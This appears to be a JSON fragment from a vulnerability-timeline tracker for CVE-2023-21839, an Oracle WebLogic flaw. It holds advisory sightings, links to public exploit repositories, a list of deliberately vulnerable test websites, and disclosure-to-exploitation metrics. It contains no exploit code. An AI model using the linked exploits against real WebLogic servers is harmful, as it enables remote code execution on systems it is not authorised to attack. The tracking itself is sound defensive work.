"2026-08-19T00:00:00Z", "date_only": false, "value": "2026-08-19T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-1053", "record": "CERTFR-2026-AVI-1053", "field": "revisions.0.revision_date"}, {"timestamp": "2026-08-19T13:30:19.231Z", "date_only": false, "value": "2026-08-19T13:30:19.231173Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtgtnsggtf2d", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "60ca0c82-2629-4951-bd7a-41e4ba458e8e", "content": "\ud83d\udd17 CVE : CVE-2023-21839, CVE-2024-20931, CVE-2026-60415, CVE-2026-60672, CVE-2026-60679, CVE-2026-60680, CVE-2026-60696, CVE-2026-60698, CVE-2026-60699, CVE-2026-60702, CVE-2026-60977", "url": "https://bsky.app/profile/o2cloud.bsky.social/post/3mtgtnsggtf2d"}, {"timestamp": "2026-09-01T17:00:20.693Z", "date_only": false, "value": "2026-09-01T17:00:20.693503Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/6818", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "aca207a9-881e-401c-9327-ba5d8d71e1d7", "content": "Heads up, everyone! \n\nCISA has issued an advisory warning of active exploitation of three known vulnerabilities, including CVE-2023-1389 (TP-Link Archer AX-21), CVE-2021-45046 (Apache Log4j2) and CVE-2023-21839 (Oracle WebLogic). \nDetails: https://thehackernews.com/2023/05/active-exploitation-of-tp-link-apache.html\n\nCritical flaw affecting ME RTU remote terminal units!  \nCISA has issued an advisory about the security vulnerability tracked as CVE-2023-2131, which has received the highest severity rating of 10.0 on the CVSS scoring system. \nDetails: https://thehackernews.com/2023/05/cisa-issues-advisory-on-critical-rce.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defense Today,\nSecure Tomorrow\n@CisoasaService\n1402.02.13", "url": "https://t.me/cissp/6818"}, {"timestamp": "2026-09-01T17:00:22.109Z", "date_only": false, "value": "2026-09-01T17:00:22.109422Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/6628", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "589d29e0-65d2-44bd-818f-010d5d7d35c9", "content": "exploit\n1. CVE-2022-41042:\nHTML/JavaScript injection in MS SARIF viewer/MS Live Preview extension, Path traversal in the local HTTP server in MS Live Preview extension\nhttps://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability\n\n2. CVE-2023-21839:\nVulnerability in the Oracle WebLogic Server\nhttps://github.com/Scarehehe/Weblogic-CVE-2023-21839\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.05", "url": "https://t.me/cissp/6628"}, {"timestamp": "2026-09-02T16:00:04.451Z", "date_only": false, "value": "2026-09-02T16:00:04.451524Z", "kind": "sighting", "label": "Seen", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "0e2ab55b-de55-44f4-8344-89b598d0ad50"}, {"timestamp": "2026-09-03T00:00:41.431Z", "date_only": false, "value": "2026-09-03T00:00:41.431077Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/GvfR5TiIz5AGTLxNK0NHF1rEL-rqaKshudCOKUMqTVI5bvk", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "9dd16a44-148e-4c6d-bf3f-d2b4ff77acb9", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-10T00:00:07.497Z", "date_only": false, "value": "2026-09-10T00:00:07.497068Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cissp/6818", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "44503ebd-5444-48ac-ad77-1d41d6c5a5c5", "content": "Heads up, everyone! \n\nCISA has issued an advisory warning of active exploitation of three known vulnerabilities, including CVE-2023-1389 (TP-Link Archer AX-21), CVE-2021-45046 (Apache Log4j2) and CVE-2023-21839 (Oracle WebLogic). \nDetails: https://thehackernews.com/2023/05/active-exploitation-of-tp-link-apache.html\n\nCritical flaw affecting ME RTU remote terminal units!  \nCISA has issued an advisory about the security vulnerability tracked as CVE-2023-2131, which has received the highest severity rating of 10.0 on the CVSS scoring system. \nDetails: https://thehackernews.com/2023/05/cisa-issues-advisory-on-critical-rce.html\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defense Today,\nSecure Tomorrow\n@CisoasaService\n1402.02.13", "url": "https://t.me/cissp/6818", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-10T02:00:04.189Z", "date_only": false, "value": "2026-09-10T02:00:04.189058Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/6628", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "ae4f5f2f-fd1a-4ba4-8d66-7eb762de1a6c", "content": "exploit\n1. CVE-2022-41042:\nHTML/JavaScript injection in MS SARIF viewer/MS Live Preview extension, Path traversal in the local HTTP server in MS Live Preview extension\nhttps://blog.trailofbits.com/2023/02/21/vscode-extension-escape-vulnerability\n\n2. CVE-2023-21839:\nVulnerability in the Oracle WebLogic Server\nhttps://github.com/Scarehehe/Weblogic-CVE-2023-21839\n\n\n-Cyber Security awareness-\n\nUp2date 4 Defence Today,\nSecure Tomorrow\n@CisoasaService\n1401.12.05", "url": "https://t.me/cissp/6628", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-10-12T01:41:34Z", "date_only": false, "value": "2026-10-12T01:41:34.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/HinchK/bb019e3cc95b35873934aff80a4ce9c3", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "ba51e808-afef-49cf-a8bf-7bee0d3ee4ca", "content": "# Vulnerable Test Websites\n\n| Domain | URL | Environment / Project | Technologies | Vulnerabilities / Scenarios |\n|---|---|---|---|---|\n| public-firing-range.appspot.com | https://public-firing-range.appspot.com/ | Google Firing Range | Google App Engine | Address XSS, Angular XSS, bad JavaScript imports, clickjacking, CORS issues, DOM XSS, escaped XSS, Flash injection, leaked HttpOnly cookie, mixed content, redirect XSS, reflected XSS, remote inclusion XSS, reverse clickjacking, HSTS tests, tag-based XSS, URL-based DOM XSS, vulnerable libraries, insecure third-party scripts |\n| pentest-ground.com:81 | https://pentest-ground.com:81/ | GuardianLeaks | Web App | XSS, SSRF, Code Injection |\n| pentest-ground.com:4280 | https://pentest-ground.com:4280/ | Damn Vulnerable Web Application | Classic Web App | CSRF, XSS, SQLi |\n| pentest-ground.com:5013 | https://pentest-ground.com:5013/ | Damn Vulnerable GraphQL Application | GraphQL | Command Injection, XSS, SQLi |\n| pentest-ground.com:7001 | https://pentest-ground.com:7001/console/login/LoginForm.jsp | ShadowLogic | WebLogic | CVE-2023-21839, Remote Code Execution |\n| pentest-ground.com:9000 | https://pentest-ground.com:9000/ | RestFlaw | REST API | SQLi, Code Injection, XXE |\n| vulnweb.rootbrain.com | http://vulnweb.rootbrain.com/ | Rootbrain VulnWeb target | N.A. | N.A. |\n| demo.testfire.net | https://demo.testfire.net/ | Altoro Mutual / AltoroJ demo banking app | Java/JSP, REST API, Swagger | Web application vulnerabilities, login testing, search testing, feedback testing, parameter-based content loading, REST API testing |\n| angular.testinvicti.com | http://angular.testinvicti.com/ | SPA Angular - TestInvicti | Ubuntu, Apache, PHP, Angular 5, MySQL, jQuery, Bootstrap, Select2 | XSS, DOM XSS, injection, client-side routing and API/backend testing |\n| graphql.testinvicti.com | http://graphql.testinvicti.com/ | GraphQL - TestInvicti | Ubuntu 22.04, NodeJS, GraphQL, React | GraphQL query/mutation testing, schema discovery, resolver injection, authentication and authorization testing, XSS |\n| vulnapi.testinvicti.com | http://vulnapi.testinvicti.com/ | Invicti Vulnerable API | Ubuntu, NodeJS, Swagger, SQLite, Bootstrap | OWASP API Security Top 10 2023, static bearer tokens, API authentication testing, API authorization testing |\n| php.testsparker.com | http://php.testsparker.com/ | Invicti / NetSparker PHP test site | Apache 2.2.8, Windows, PHP 5.2.6 | SQL Injection, XSS, local file inclusion, remote file inclusion |\n| rest.vulnweb.com | http://rest.vulnweb.com/ | Invicti Vulnerable REST API | Ubuntu 18, Apache, PHP 7.1, MySQL, JSON, XML, JWT, Basic Auth, OAuth2, Swagger/OpenAPI, Postman, Fiddler | REST API testing, authentication testing, authorization testing, input validation, injection, JSON/XML parsing |\n| testasp.vulnweb.com | http://testasp.vulnweb.com/ | Acunetix AcuForum | Classic ASP | SQL Injection, directory traversal, web-based attacks |\n| testaspnet.vulnweb.com | http://testaspnet.vulnweb.com/ | Acunetix AcuBlog | ASP.NET, C#, ViewState, EventValidation | SQL Injection, XSS, login testing, signup testing, comment testing, RSS testing |\n| testhtml5.vulnweb.com | http://testhtml5.vulnweb.com | Acunetix HTML5 test site | HTML5 | N.A. |\n| testphp.vulnweb.com | http://testphp.vulnweb.com/ | Acunetix PHP test site | PHP, MySQL | SQL Injection, XSS, web application vulnerabilities |\n| zero.webappsecurity.com | http://zero.webappsecurity.com/ | Zero Bank / Micro Focus Fortify WebInspect demo | HTML, JavaScript, Bootstrap, jQuery 1.8.2 | Web application vulnerabilities, login testing, search testing, feedback testing, online banking workflow testing |", "url": "https://gist.github.com/HinchK/bb019e3cc95b35873934aff80a4ce9c3"}], "metrics": {"as_of": "2026-10-28T14:00:05.938Z", "anchors": {"origin": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "exploit_publication": {"timestamp": "2023-01-29T15:43:57Z", "date_only": false, "value": "2023-01-29T15:43:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3716", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "17434e60-2c46-422c-8694-105cba6abf72", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839 exp\nURL\uff1ahttps://github.com/fakenews2025/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3716", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "exploitation": {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": true, "seconds": 8902800.0, "hours": 2473.0, "days": 103.04166666666667, "min_seconds": 8902800.0, "max_seconds": 8989200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit": {"available": true, "seconds": 8902800.0, "hours": 2473.0, "days": 103.04166666666667, "min_seconds": 8902800.0, "max_seconds": 8989200.0, "approximate": true, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}}, "disclosure_to_exploit_publication": {"available": true, "seconds": 1010637.0, "hours": 280.7325, "days": 11.6971875, "min_seconds": 1010637.0, "max_seconds": 1010637.0, "approximate": false, "ongoing": false, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2023-01-29T15:43:57Z", "date_only": false, "value": "2023-01-29T15:43:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3716", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "17434e60-2c46-422c-8694-105cba6abf72", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839 exp\nURL\uff1ahttps://github.com/fakenews2025/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3716", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["start", "end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 119199605.938877, "hours": 33111.001649688056, "days": 1379.6250687370023, "min_seconds": 119199605.938877, "max_seconds": 119199605.938877, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-17T23:00:00Z", "date_only": false, "value": "2023-01-17T23:00:00.000+00:00", "kind": "milestone", "label": "Published", "source": "csaf_certbund \u00b7 WID-SEC-W-2023-0132", "record": "WID-SEC-W-2023-0132", "field": "document.tracking.initial_release_date", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "end": {"timestamp": "2026-10-28T14:00:05.938Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": true, "seconds": 110296805.938877, "hours": 30638.001649688056, "days": 1276.5834020703358, "min_seconds": 110210405.938877, "max_seconds": 110296805.938877, "approximate": true, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-05-01T00:00:00Z", "date_only": false, "value": "2023-05-01T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2023-21839", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "628ebdf4-b837-4278-a32e-ed554a315e56", "status": {"status_reason": "confirmed", "exploited": true}}, "end": {"timestamp": "2026-10-28T14:00:05.938Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploit_publication_to_patch": {"available": true, "seconds": 118188968.938877, "hours": 32830.26914968806, "days": 1367.9278812370023, "min_seconds": 118188968.938877, "max_seconds": 118188968.938877, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "2023-01-29T15:43:57Z", "date_only": false, "value": "2023-01-29T15:43:57.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/3716", "record": "CVE-2023-21839", "field": "creation_timestamp", "uuid": "17434e60-2c46-422c-8694-105cba6abf72", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-21839 exp\nURL\uff1ahttps://github.com/fakenews2025/CVE-2023-21839\n\n\u6807\u7b7e\uff1a#CVE-2023", "url": "https://t.me/GithubRedTeam/3716", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, "end": {"timestamp": "2026-10-28T14:00:05.938Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}}}